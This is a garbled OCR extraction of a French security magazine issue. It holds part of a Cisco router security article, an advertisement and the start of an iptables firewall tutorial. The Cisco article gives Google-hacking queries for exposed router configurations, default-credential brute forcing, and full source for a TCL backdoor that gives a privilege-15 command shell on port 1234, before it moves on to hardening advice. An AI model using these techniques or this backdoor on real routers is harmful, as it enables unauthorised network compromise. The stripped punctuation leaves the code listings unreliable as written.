RAM size 256 Mb

IOMEM size 0 Mb

NVRAM size 128 Kb

NPE model npe-400

Midplane vxr

IOS image c7200-jk9s-mz124-18cbin

Loading ELF file c7200-jk9s-mz124-18cbin

ELF entry point 0x80008000

C7200 default starting simulation (CPU0 PC=0xffffffffbfc00000) JIT enabled

ROMMON emulation microcode

Launching IOS image at 0x80008000

Self decompressing the image

[OK]

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

